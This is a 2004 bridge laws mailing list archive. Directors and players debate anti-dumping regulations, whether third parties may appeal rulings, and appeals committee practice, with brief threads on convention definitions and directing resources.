Team B captain, > >but still refused to appeal against the unLawful > >TD ruling benefiting Team B? > > The Law's the Law. There will always be imperfections, and more are > brought in by trying to control one odd occurrence than are kept out > that way. > > Of course, there is nothing wrong with Team C asking the DIC to take > it to appeal - or, simpler, to over-rule his TD himself. > > Yes, I know - it was the DIC who perpetrated this inanity, wasn't it? I answered a clear No to both his questions and added that I am not happy with laws and regulations preventing affected third party to challenge a decision that had a direct and serious impact on their result. I understood RJH that he described a real event, not a fiction, and I see some parallel to the recent discussion on awarding two teams for which a match return had been lost anything between 25-3 via 17-17 to 25-8. >From your description of that case I believe this was another instance of third party possibly being seriously affected by the decision made. Do you really feel that we shall just shrug and say "there will always be imperfections" or should we try to find some way of preventing injustice? I am afraid I have no quick suggestion or answer to how this can be done, but I feel that there is a need for even third party to somehow obtain a second evaluation of a case which directly affects their result. Regards Sven From blml@blakjak.com Mon May 24 15:58:47 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 24 May 2004 15:58:47 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <000801c4418e$c0305150$6900a8c0@WINXP> References: <000801c4418e$c0305150$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >> >Sven Pran asked: >........ >> >>As we do not allow "third parties" to attack >> >>happenings and rulings; should we allow >> >>strategies and actions mainly for the purpose of >> >>affecting "third party"? >> > >> >Richard James Hills fails to answer: >> > >> >I will not answer Sven's theoretical question. >> >Instead, I will pose a problem for Sven which >> >actually occurred in Australia some years ago. >> >Back then the Aussie Alert reg deemed that: >> > >> >(a) penalty doubles should not be alerted, and >> >(b) non-penalty doubles should be alerted. >> > >> >Swiss Teams, penultimate round, WBF vp scale. >> > >> >WEST NORTH EAST SOUTH >> >Team A Team B Team A Team B >> >1H 1S Double(1) Pass >> >Pass Pass >> > >> >(1) Penalty double, not alerted >> > >> >Result: North-South -800 >> > >> >If the TD let the table result stand, Team A >> >would score 25 vps, and Team B would score 4 vps. >> > >> >The TD was summoned. East-West correctly argued >> >that the ABF ruled that a natural penalty double >> >did not need to be alerted. >> > >> >North-South argued that Law 75 implied that an >> >*unusual* call should have been alerted, thus >> >giving South the information that South needed >> >to wriggle to a cheaper spot. >> > >> >The TD unLawfully split the score. Team A kept >> >their +800, and their maximum 25 vp win. Team B >> >were given a lesser wriggled score, and therefore >> >7 vps. >> > >> >Team C, who were competing with Team B for second >> >place in the Swiss requested that Team A appeal >> >the TD's unLawful ruling. >> > >> >Team A chose a "strategy and action" mainly for >> >the purpose of affecting "third party". Team A >> >refused to appeal a ruling which gave them a >> >maximum 25 vp win, despite Team B's 7 vp score >> >having "an element of irregularity". >> > >> >If Sven had then been sitting on the Australian >> >National Authority, would Sven have penalised >> >Team A for failing to appeal Team B's unLawful >> >result? >> > >> >Would Sven's hypothetical Aussie National >> >Authority ruling be different if Sven discovered >> >that the Team A captain hated the Team B captain, >> >but still refused to appeal against the unLawful >> >TD ruling benefiting Team B? >> >> The Law's the Law. There will always be imperfections, and more are >> brought in by trying to control one odd occurrence than are kept out >> that way. >> >> Of course, there is nothing wrong with Team C asking the DIC to take >> it to appeal - or, simpler, to over-rule his TD himself. >> >> Yes, I know - it was the DIC who perpetrated this inanity, wasn't it? > >I answered a clear No to both his questions and added that I am not happy >with laws and regulations preventing affected third party to challenge a >decision that had a direct and serious impact on their result. > >I understood RJH that he described a real event, not a fiction, and I see >some parallel to the recent discussion on awarding two teams for which a >match return had been lost anything between 25-3 via 17-17 to 25-8. That was slightly different: at least then no-one in either team, the league, or anyone else wanted more than 25 or less than 22 for one team, more than 8 or less than 5 for the other. It was only BLML who went way outside those parameters. But that decision has affected who wins the league. But why does that mean another team should appeal it? The basis for appealing in bridge is generally to get someone else to look at the judgement of a case, not the regs. Just because a third party does not like the actual basis for a decision does not mean they should have a right to appeal it. >From your description of that case I believe this was another instance of >third party possibly being seriously affected by the decision made. > >Do you really feel that we shall just shrug and say "there will always be >imperfections" or should we try to find some way of preventing injustice? What *injustice*? Just because they may not like it does not make it unjust! >I am afraid I have no quick suggestion or answer to how this can be done, >but I feel that there is a need for even third party to somehow obtain a >second evaluation of a case which directly affects their result. I think it would be bad for bridge in the long run. You would just get more silly appeals. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Mon May 24 16:44:55 2004 From: svenpran@online.no (Sven Pran) Date: Mon, 24 May 2004 17:44:55 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: Message-ID: <000001c441a6$0fdb66b0$6900a8c0@WINXP> > David Stevenson ........... > >I answered a clear No to both his questions and added that I am not = happy > >with laws and regulations preventing affected third party to = challenge a > >decision that had a direct and serious impact on their result. > > > >I understood RJH that he described a real event, not a fiction, and I = see > >some parallel to the recent discussion on awarding two teams for = which a > >match return had been lost anything between 25-3 via 17-17 to 25-8. >=20 > That was slightly different: at least then no-one in either team, = the > league, or anyone else wanted more than 25 or less than 22 for one = team, > more than 8 or less than 5 for the other. It was only BLML who went = way > outside those parameters. Yes, I know. But how would you have felt if the TD (or SO in this case) = had made an obviously wrong decision with the result that you (not involved = in the actual case) become second instead of winning or dropped out of the league instead of staying in?=20 > But that decision has affected who wins the league. But why does = that > mean another team should appeal it? The basis for appealing in bridge > is generally to get someone else to look at the judgement of a case, = not > the regs. Just because a third party does not like the actual basis = for > a decision does not mean they should have a right to appeal it. >=20 > >From your description of that case I believe this was another = instance of > >third party possibly being seriously affected by the decision made. > > > >Do you really feel that we shall just shrug and say "there will = always be > >imperfections" or should we try to find some way of preventing = injustice? >=20 > What *injustice*? Just because they may not like it does not make = it > unjust! Do we not agree that assigning a split score was a clear cut injustice = in the Australian case? And would you not have felt injustice if you had dropped out of the league because some silly SO had awarded the losing = team 17VP in your case? (If I remember correctly that would have affected = you?) =20 > >I am afraid I have no quick suggestion or answer to how this can be = done, > >but I feel that there is a need for even third party to somehow = obtain a > >second evaluation of a case which directly affects their result. >=20 > I think it would be bad for bridge in the long run. You would just > get more silly appeals. This argument does not convince me at all. "Court" capacity etc. is no excuse for denying people to have their cases tried. (Obviously = unwarranted cases are). 1: I am not so afraid of more silly appeals. We have procedures to deal = with appeals without merit and if only ACs "dared" use those procedures more efficiently than they do today that would be the end of such problems. 2: I am more afraid of those although indeed very few (if any) but still warranted appeals that really have some merit but which alas are of no interest to the primarily involved parties however great interest to = third party. Regards Sven From adam@irvine.com Mon May 24 18:49:31 2004 From: adam@irvine.com (Adam Beneschan) Date: Mon, 24 May 2004 10:49:31 -0700 Subject: [blml] Re: ACBL Laws Committee In-Reply-To: Your message of "Sat, 22 May 2004 12:08:55 EDT." Message-ID: <200405241749.KAA04815@mailhub.irvine.com> Steve Willner wrote: > This seems quite sensible if there is to be a definition at all. In > fact, I'd go further and separate suit bids from notrump bids. Me too. > Suit > bids will be tricky, though. How can the rules deal with distributional > restrictions in other suits? For example, the usual American 1H opening > says that hearts are strictly longer than spades, but I don't think most > people will want it to be a convention. The current Laws say, "[A]n agreement as to overall strength does not make a call a convention". In a similar vein, how about something like "An agreement that a call denies N or more cards in a given suit, other than the suit named by the call if the call is a suit bid, where N >= 2 if the suit has not previously been shown by the partnership, does not make a call a convention." Yes, I know this is a rather difficult sentence. I think this would provide an adequate solution to Steve's problem. I'm not saying that I disagree or agree with other posters' arguments that the word "convention" ought to be removed entirely from the Laws. -- Adam From grandeval@vejez.fsnet.co.uk Mon May 24 20:25:43 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Mon, 24 May 2004 20:25:43 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: <002b01c44168$03b033e0$489a87d9@4nrw70j> Message-ID: <002501c441c5$cfe6f900$daea4c51@4nrw70j> Grattan Endicott To: "grandeval" ; Sent: Monday, May 24, 2004 11:41 AM Subject: Re: [blml] Matchpoint dumping (was A newer one) > > Come on Grattan. You keep on twisting and spinning > and ducking the real issue. > > > The regulation framed after > > the Yokohama incident was a response controlling > > dumping in a single round (match) of a championship, > > particularly towards its closing stages, for any > > purpose whatsoever. > > I don't buy this my dear. I am sure the response to the > Yokohama incident was exactly that, a response to that > incident. So this was about dumping a match (= part of > a whole) to increase the chance of winning the championship > (= the whole). > > Why do you confuse the issue with stating 'for any purpose > whatsover'. I am quite sure your new reg doesn't stop > dumping for certain less rational or less acceptable reasons. > +=+ A. I have not shifted my ground at any stage in this thread. The regulation is not mine, it is the WBF's and all I have done is merely to point to its presence. B. If you read the regulation again you will note that it says (in Section 6 of the GCoCs) "at all times and in all circumstances". This was the wording in which EK concurred and which was to prohibit dumping for any reason in a session, round, match etc.. The same wording is repeated in 32.3 and then further clarifying words are added to say that a partnership shall not seek by design to obtain a session score inferior to that of its opponents. The object of doing so is immaterial - the strategy is forbidden whatever its object. ~ Grattan ~ +=+ From blml@blakjak.com Mon May 24 21:43:35 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 24 May 2004 21:43:35 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <000001c441a6$0fdb66b0$6900a8c0@WINXP> References: <000001c441a6$0fdb66b0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >........... >> >I answered a clear No to both his questions and added that I am not happy >> >with laws and regulations preventing affected third party to challenge a >> >decision that had a direct and serious impact on their result. >> > >> >I understood RJH that he described a real event, not a fiction, and I see >> >some parallel to the recent discussion on awarding two teams for which a >> >match return had been lost anything between 25-3 via 17-17 to 25-8. >> >> That was slightly different: at least then no-one in either team, the >> league, or anyone else wanted more than 25 or less than 22 for one team, >> more than 8 or less than 5 for the other. It was only BLML who went way >> outside those parameters. > >Yes, I know. But how would you have felt if the TD (or SO in this case) had >made an obviously wrong decision with the result that you (not involved in >the actual case) become second instead of winning or dropped out of the >league instead of staying in? I would not like it. Sh*t happens. But ACs do not necessarily improve anything, certainly not in things like this where the regs of the SO are involved. >> But that decision has affected who wins the league. But why does that >> mean another team should appeal it? The basis for appealing in bridge >> is generally to get someone else to look at the judgement of a case, not >> the regs. Just because a third party does not like the actual basis for >> a decision does not mean they should have a right to appeal it. >> >> >From your description of that case I believe this was another instance of >> >third party possibly being seriously affected by the decision made. >> > >> >Do you really feel that we shall just shrug and say "there will always be >> >imperfections" or should we try to find some way of preventing injustice? >> >> What *injustice*? Just because they may not like it does not make it >> unjust! > >Do we not agree that assigning a split score was a clear cut injustice in >the Australian case? And would you not have felt injustice if you had >dropped out of the league because some silly SO had awarded the losing team >17VP in your case? (If I remember correctly that would have affected you?) So? How would I like it if there had been a perfectly correct decision and some brainless AC messed it up for me? >> >I am afraid I have no quick suggestion or answer to how this can be done, >> >but I feel that there is a need for even third party to somehow obtain a >> >second evaluation of a case which directly affects their result. >> >> I think it would be bad for bridge in the long run. You would just >> get more silly appeals. > >This argument does not convince me at all. "Court" capacity etc. is no >excuse for denying people to have their cases tried. (Obviously unwarranted >cases are). It may not convince you, but the average person likes decisions to be made. It is stupid to extend the process for no good reason. >1: I am not so afraid of more silly appeals. We have procedures to deal with >appeals without merit and if only ACs "dared" use those procedures more >efficiently than they do today that would be the end of such problems. > >2: I am more afraid of those although indeed very few (if any) but still >warranted appeals that really have some merit but which alas are of no >interest to the primarily involved parties however great interest to third >party. Let us just get straight the effect of appeals against the SO's process. Instead of people who understand deciding we are going to give it to other people. So decisions are going to be slower and less accurate. What's the point? Ok, where it is a normal appeals process there might be some case in allowing appeals at other tables in theory. Not in practice, of course, you only have to think of the effects of allowing it and what players are going to do. Can you imagine what a team that loses an event by one VP is going to do? They will appeal every ruling at any table that could win them the event, yes? It's a nightmare. I know BLML loves being theoretical, but just for once let us be practical. If you allow ordinary appeals against decisions on regulations you will make the game poorer because you will get slower decisions that are less accurate. If you allow appeals at other tables you make the whole thing so impractical. People who do not care about bridge can argue what is right, but if you love the game as I do, please let us not try to mess it up for some minor theoretical gain that in practice will often lose far more than it gains. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gesta@tiscali.co.uk Mon May 24 22:47:16 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 24 May 2004 22:47:16 +0100 Subject: [blml] Matchpoint dumping (was A newer one) References: <000001c441a6$0fdb66b0$6900a8c0@WINXP> Message-ID: <004001c441da$532a65e0$4edc403e@multivisionoem> Grattan Endicott To: "blml" Sent: Monday, May 24, 2004 4:44 PM Subject: RE: [blml] Matchpoint dumping (was A newer one) > > > >I am afraid I have no quick suggestion or answer to how this can be done, > >but I feel that there is a need for even third party to somehow obtain a > >second evaluation of a case which directly affects their result. > > I think it would be bad for bridge in the long run. You would just > get more silly appeals. This argument does not convince me at all. "Court" capacity etc. is no excuse for denying people to have their cases tried. (Obviously unwarranted cases are). 1: I am not so afraid of more silly appeals. We have procedures to deal with appeals without merit and if only ACs "dared" use those procedures more efficiently than they do today that would be the end of such problems. < +=+ So that when the outcome of an appeal places a third party 36th (of 36) rather than 35th, they may appeal? Or denies to them a minimal award of master points such as they would receive,say, for being 18th rather than 19th? ~ Grattan +=+ From svenpran@online.no Tue May 25 00:12:05 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 25 May 2004 01:12:05 +0200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <004001c441da$532a65e0$4edc403e@multivisionoem> Message-ID: <000001c441e4$9302a6f0$6900a8c0@WINXP> > gesta@tiscali.co.uk > > >I am afraid I have no quick suggestion or answer to how this can be > done, > > >but I feel that there is a need for even third party to somehow obtain > a > > >second evaluation of a case which directly affects their result. > > > > I think it would be bad for bridge in the long run. You would just > > get more silly appeals. > > This argument does not convince me at all. "Court" capacity etc. is no > excuse for denying people to have their cases tried. (Obviously > unwarranted > cases are). > > 1: I am not so afraid of more silly appeals. We have procedures to deal > with > appeals without merit and if only ACs "dared" use those procedures more > efficiently than they do today that would be the end of such problems. > < > +=+ So that when the outcome of an appeal places a > third party 36th (of 36) rather than 35th, they may appeal? > Or denies to them a minimal award of master points > such as they would receive,say, for being 18th rather than > 19th? I did write that I had no quick (or easy) suggestion. If something like the possibility for third party to challenge decisions is introduced we shall obviously need pretty comprehensive rules for how such challenges should be worked out and handled. I am not even sure that this can be accomplished, but I am certainly not comfortable with the present situation now that we have crossed the border between hypothetical and real cases. But please do not obscure the picture by introducing assumptions that we will be "drowned" in appeals trying to improve a ranking from 36th to 35th place or from team captains appealing every decision made in the hope that they will gain that single match point necessary to win an event. The questions which should be discussed are: Are we happy with the fact (?) that director's error cannot be rectified by an appeal from a _seriously_ affected third party? If not, can we imagine some procedure allowing third party to appeal such decisions? I have no answer. I am however quite sure of one thing: This will in any case not happen frequently. Regards Sven From richard.hills@immi.gov.au Tue May 25 01:01:53 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 25 May 2004 10:01:53 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: WBF LC minutes 28th & 30th October 2001: [snip] >>so opens 7NT which he guesses will be a change from the >>earlier auction? This is unacceptable, and is treated >>as a violation of Law 74A2. >> >>There is no need for the Director to judge the intent >>of the player: if no satisfactory bridge reason can be >>found for the call then he applies Law 74A2. The TD >>informs (or instructs) the players correspondingly. David Stevenson: > Since this is nothing to do with dumping it is not >analogous. > > Taking a totally different matter and calling it >analogous is a merry game which should not be taken >seriously. Richard James Hills: Expecto patronum! I will spell out the analogy. (a) The WBF has ruled that an attempt to take advantage of Law 15C, by bidding 7NT for no bridge reason, is an infraction of Law 74A2. (b) The ACBL has ruled that an attempt to take advantage of a flawed CoC (which rewards dumping), by bidding 7NT for no bridge reason, is an infraction of Law 74A2. Best wishes RJH From richard.hills@immi.gov.au Tue May 25 03:06:24 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 25 May 2004 12:06:24 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Grattan Endicott: [snip] >>Edgar helped to devise it. The subsequent expansion did not >>change the intent, but only clarified it. >> >>It was not unknown for Edgar to support one approach in the >>WBF and another when he returned home. ~ Grattan ~ +=+ Tom Lehrer (paraphrased): >Don't say that he's hypocritical, >Say rather that he's apolitical. >"Once the World regs are up, who cares where they come down? >That's not my department," says Edgar von Braun. Richard James Hills: I still do not think that Edgar Kaplan was *necessarily* a hypocrite on the issue of dumping. Rather, I believe that Edgar was a gnomic soul-mate of Grattan, capable of fine distinctions when developing his position on contentious issues. Edgar repeatedly made the point that playing misere at the bridge table was ridiculous. However, Edgar believed that the ridiculous playing misere strategy was merely a lesser evil. Rather, Edgar's primary target was any vile conditions of contest that gave a competitive advantage to a contestant which *rewarded* that contestant for adopting an evil and ridiculous playing misere strategy. Therefore, once WBF conditions of contest removed any *competitive* incentive for WBF contestants to dump, Edgar would no doubt have been delighted to draft an anti-dumping WBF reg which prohibited dumping for any other reason. For example, dumping when out of contention for the vile reason of helping in-contention friends to succeed, was never advocated by Edgar. Best wishes RJH From ade@hotmail.com Tue May 25 05:53:54 2004 From: ade@hotmail.com (ade@hotmail.com) Date: Tue, 25 May 2004 12:53:54 +0800 Subject: [blml] Make friends! Message-ID:

Firend Search   Make friends!





                         

From richard.hills@immi.gov.au Tue May 25 23:41:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 26 May 2004 08:41:41 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Grattan Endicott: [snip] >> 32.3 does begin by saying "The WBF expects all >>teams and partnerships to play to win at all times and >>in all circumstances". Since this statement also appears >>in Section 6 (Ethics and Deportment) of the same >>document it is obviously of exceptional importance. >>Maybe it is not enough, therefore, to play for 15-15. >> I suppose we both bear a modest quantum of >>corporate responsibility for the regulations being what >>they are, without being prime movers. >> ~ G ~ +=+ Wayne Burrows: >Therefore in the last round of qualifying when your team >needs 1 or 2 or 3 or any number less than 16 VPs to >qualify it is illegal to play a conservative game to try >to ensure that you avoid disaster while not trying to >win. > >IMO this is an absurd regulation. Richard James Hills: Okay. Thought experiment. -> Suppose the format of an event is a Swiss qualifying, followed by a grand final between the top two teams from the Swiss. This is a typical Aussie format for some important teams events. The two best teams in the field are Team A and Team B. In the last round of the Swiss, Team A is playing a lucky bunny team, Team Z. By beating three other bunny teams 25-0 in the last three rounds, Team Z has "swissed" its way out of the pack to Table One. Meanwhile, at Table Two, Team B is playing Team C. Team A is almost certain to qualify for the grand final. If Team A played its normal game against Team Z, then 95% of the time Team A would beat Team Z. But, in order to mathematically guarantee Team A's place in the final, Team A plays ultra-conservatively against Team Z, so Team A loses 10-20 to Team Z. Meanwhile, at Table Two, the second-best Team B heroically triumphs against the third-best Team C by 25-0. But, because of Team A's ultra-conservative dumping, Team B misses out on the final by 1 vp, with Team Z being Team A's grand final opponent instead. Such an absurd grand final is definitely legal under EBU regulations. But I do not think that the ABF or the WBF anti-dumping regulations should be criticised as being *inherently* absurd. However, I agree that an event with a mere two-team final after a tiny number of Swiss qualifying rounds has an absurd Condition of Contest. Best wishes RJH From wayne.burrows@xtra.co.nz Wed May 26 06:03:05 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Wed, 26 May 2004 17:03:05 +1200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: Message-ID: <002001c442de$bb23b930$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of richard.hills@immi.gov.au > Sent: Wednesday, 26 May 2004 10:42 a.m. > To: blml@rtflb.org > Subject: Re: [blml] Matchpoint dumping (was A newer one) > > > > > > > Grattan Endicott: > > [snip] > > >> 32.3 does begin by saying "The WBF expects all > >>teams and partnerships to play to win at all times and > >>in all circumstances". Since this statement also appears > >>in Section 6 (Ethics and Deportment) of the same > >>document it is obviously of exceptional importance. > >>Maybe it is not enough, therefore, to play for 15-15. > >> I suppose we both bear a modest quantum of > >>corporate responsibility for the regulations being what > >>they are, without being prime movers. > >> ~ G ~ +=+ > > Wayne Burrows: > > >Therefore in the last round of qualifying when your team > >needs 1 or 2 or 3 or any number less than 16 VPs to > >qualify it is illegal to play a conservative game to try > >to ensure that you avoid disaster while not trying to > >win. > > > >IMO this is an absurd regulation. > > Richard James Hills: > > Okay. Thought experiment. -> > > Suppose the format of an event is a Swiss qualifying, > followed by a grand final between the top two teams from > the Swiss. This is a typical Aussie format for some > important teams events. > > The two best teams in the field are Team A and Team B. > In the last round of the Swiss, Team A is playing a > lucky bunny team, Team Z. By beating three other bunny > teams 25-0 in the last three rounds, Team Z has "swissed" > its way out of the pack to Table One. > > Meanwhile, at Table Two, Team B is playing Team C. > > Team A is almost certain to qualify for the grand final. > If Team A played its normal game against Team Z, then > 95% of the time Team A would beat Team Z. > > But, in order to mathematically guarantee Team A's place > in the final, Team A plays ultra-conservatively against > Team Z, so Team A loses 10-20 to Team Z. > > Meanwhile, at Table Two, the second-best Team B > heroically triumphs against the third-best Team C by > 25-0. But, because of Team A's ultra-conservative > dumping, Team B misses out on the final by 1 vp, with > Team Z being Team A's grand final opponent instead. > > Such an absurd grand final is definitely legal under EBU > regulations. But I do not think that the ABF or the WBF > anti-dumping regulations should be criticised as being > *inherently* absurd. Team A play in their own best interest that runs foul of the regulations. Team A who want to win the event are forced by the regulations that adopts a strategy that is in Team B and/or Team C's best interest. I can not think how you could describe this as anything but absurd. If a team needs a big score to win then they should be allowed to play wild and gambling bridge in a hope of achieving that result. On the other hand if they are all but certain of winning the event then they should be entitled to play conservatively to avoid disaster. To my mind this is common sense. Wayne > > However, I agree that an event with a mere two-team > final after a tiny number of Swiss qualifying rounds has > an absurd Condition of Contest. > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From wayne.burrows@xtra.co.nz Wed May 26 06:18:24 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Wed, 26 May 2004 17:18:24 +1200 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <003201c43f0c$af234c20$879d4c51@4nrw70j> Message-ID: <002101c442e0$dea79a50$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of grandeval > Sent: Friday, 21 May 2004 8:20 p.m. > To: bridge laws mailing list > Subject: Fw: [blml] Matchpoint dumping (was A newer one) > > +=+ Add: > In the above I should perhaps have drawn attention to the > post-Kaplan expansion of this. The 2003 General Conditions > at 32.3 say additonally: "It is not permissible for a partnership > to play by design to obtain a session score inferior to that > of its opponents and the Committee shall have the authority to > determine on such evidence as it considers sufficient whether > a partnership has done so." > ~ G ~ +=+ > It seems that the WBF have determined that both playing conservatively to ensure a qualifying place when it means that your expectation is to lose the match and playing wild and gambling bridge to give your team a chance to qualifying while also increasing your expectation of losing the match are illegal tactics. I cannot think why ones only reasonable strategies would be regarded in this way. Wayne From blml@blakjak.com Wed May 26 11:36:59 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 26 May 2004 11:36:59 +0100 Subject: [blml] Matchpoint dumping (was A newer one) In-Reply-To: <002101c442e0$dea79a50$0401010a@Desktop> References: <003201c43f0c$af234c20$879d4c51@4nrw70j> <002101c442e0$dea79a50$0401010a@Desktop> Message-ID: <7B9xcQVLNHtAFwEz@blakjak.demon.co.uk> Wayne Burrows wrote >> Behalf Of grandeval >> In the above I should perhaps have drawn attention to the >> post-Kaplan expansion of this. The 2003 General Conditions >> at 32.3 say additonally: "It is not permissible for a partnership >> to play by design to obtain a session score inferior to that >> of its opponents and the Committee shall have the authority to >> determine on such evidence as it considers sufficient whether >> a partnership has done so." >It seems that the WBF have determined that both playing conservatively >to ensure a qualifying place when it means that your expectation is >to lose the match and playing wild and gambling bridge to give your >team a chance to qualifying while also increasing your expectation of >losing the match are illegal tactics. > >I cannot think why ones only reasonable strategies would be regarded >in this way. Perhasp they are not. You have told us your interpretation, and also told us why the WBF have decided this. Alternative conclusions could be [a] they do not agree with your interpretation of the reg, and [b] they did not realise that the reg would lead to this conclusion Automatically to assume an organisation is not doing the best for its participants based on one interpretation of one reg seems somewhat harsh. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From walt1@verizon.net Wed May 26 19:13:33 2004 From: walt1@verizon.net (Walt) Date: Wed, 26 May 2004 14:13:33 -0400 Subject: [blml] Appeals Committees In-Reply-To: <000001c441a6$0fdb66b0$6900a8c0@WINXP> References: <000001c441a6$0fdb66b0$6900a8c0@WINXP> Message-ID: <6.1.0.6.0.20040524222303.035f3030@incoming.verizon.net> At 11:44 AM 24/05/2004, Sven Pran wrote: >I am more afraid of those although indeed very few (if any) but still >warranted appeals that really have some merit but which alas are of no >interest to the primarily involved parties however great interest to third >party. Sven I agree. In a case that affected me the result of a board played by two other pairs was belatedly appealed. The appeal was so obviously without merit that the appeals committee, I understand, laughed at the appealers. The appeal would not have been heard if the uninterested party had gone home to get a good night's sleep rather than staying for the appeal. They stayed for the appeal because they realized that the board would affect me and my partner, and they knew that the appeal was without merit. (I didn't even know the board was being appealed or that it would affect us.) Something is wrong in this process. Could it be that the ACBL got it right when they did away with the AC for most events and left the decision to the directors? I'm not sure of this, but I am less sure that they are wrong than I once was. From richard.hills@immi.gov.au Wed May 26 23:22:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 27 May 2004 08:22:41 +1000 Subject: [blml] Matchpoint dumping (was A newer one) Message-ID: Wayne Burrows: >>Team A play in their own best interest that runs foul of >>the regulations. [big snip] 2004 EBU White Book: [very big snip] >A solution is to design Conditions of Contest such that it >is always in the best interests of competitors to play >well. In the cited example there could be a carry-forward >to the final. [very big snip] Best wishes RJH From richard.hills@immi.gov.au Thu May 27 02:55:39 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 27 May 2004 11:55:39 +1000 Subject: [blml] Appeals Committees Message-ID: Walt: [snip] >Something is wrong in this process. Could it be that >the ACBL got it right when they did away with the AC >for most events and left the decision to the >directors? > >I'm not sure of this, but I am less sure that they >are wrong than I once was. RJH: A key reason for the existence of Appeals Committees, is to give a player a forum to vent their frustration about an action by an opponent. The ACBL may have justification in abolishing ACs for most events, since ACBL members have an alternative forum for venting at most ACBL events, the officially appointed ACBL Recorders. On the other hand, I believe it would be less of a good idea for the EBU to abolish ACs, since most of the EBU Law & Ethics Committee is philosophically opposed to the establishment of officially appointed EBU Recorders. Best wishes Richard James Hills From dpb3@fastmail.fm Thu May 27 14:17:30 2004 From: dpb3@fastmail.fm (David Babcock) Date: Thu, 27 May 2004 09:17:30 -0400 Subject: [blml] Directing materials Message-ID: <1085663850.30524.197277806@webmail.messagingengine.com> Hello all, I am just getting back into club direction here in the US after many years out of it, and have two questions: 1) I have Groner (the classics are the classics, it seems) and the ACBL publications: would the EBU Movement Manual, or any other publication, be of additional use to me in terms of choosing movements, adding late pairs, and recovering from set-up or movement mistakes? 2) Is there a source for .MOV files for ACBLScore in addition to those that come with it, that represent acceptable movements that may have some advantage? (I am in south Florida, with its concentration of retirees, some of whom are not mobile, making Howells problematical.) If there is another forum more suitable for these questions, please do not hesitate to point me in the right direction. TIA. David Babcock Florida, USA From mfrench1@san.rr.com Thu May 27 17:32:32 2004 From: mfrench1@san.rr.com (Marvin French) Date: Thu, 27 May 2004 09:32:32 -0700 Subject: [blml] ACBL redesigned website Message-ID: <001101c44408$d5ce22e0$6401a8c0@san.rr.com> The redesigned ACBL website requires a little practice to navigate. For instance, If looking for the casebooks, go to the Site Index and click on "Play," then on "Casebooks" If looking for one's masterpoint totals, go to the Site Index, click on "Members," and then click on "My ACBL" (!!!) Marv Marvin L. French San Diego, California From john@asimere.com Thu May 27 20:56:08 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 27 May 2004 20:56:08 +0100 Subject: [blml] Directing materials In-Reply-To: <1085663850.30524.197277806@webmail.messagingengine.com> References: <1085663850.30524.197277806@webmail.messagingengine.com> Message-ID: <8ZHeqNDYfktAFw05@asimere.com> In article <1085663850.30524.197277806@webmail.messagingengine.com>, David Babcock writes >Hello all, > >I am just getting back into club direction >here in the US after many years out of it, >and have two questions: forum fine, maybe rec.games.bridge news group also ok I wouldn't use EBU Manual if you're a Yank, just stick with the mitchells, and Groner is fine. It covers what an ACBL TD needs to know. Can't help with .MOV files, but latest ACBLScor is pretty good program, and you can set up new movements easily. keep lurking here too, there's lot's of useful stuff flies past in the night. John -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From richard.hills@immi.gov.au Thu May 27 23:15:10 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 28 May 2004 08:15:10 +1000 Subject: [blml] chrestomathy Message-ID: >"I Am The Very Model Of A Modern Bridge Competitor: a >chrestomathy compiled from the bridge laws mailing list" > >Any posters and/or lurkers on blml may, upon application, >receive a free copy of the book (in Word doc format) on >or after 1st March 2004. Free chrestomathy copies are still available, and may appeal to blmlers with an abstruse sense of humour. I am intending to follow the policy of "a chrestomathy for Christmas", so the sequel will be available in December. Best wishes Richard James Hills From richard.hills@immi.gov.au Thu May 27 23:44:47 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 28 May 2004 08:44:47 +1000 Subject: [blml] Directing materials 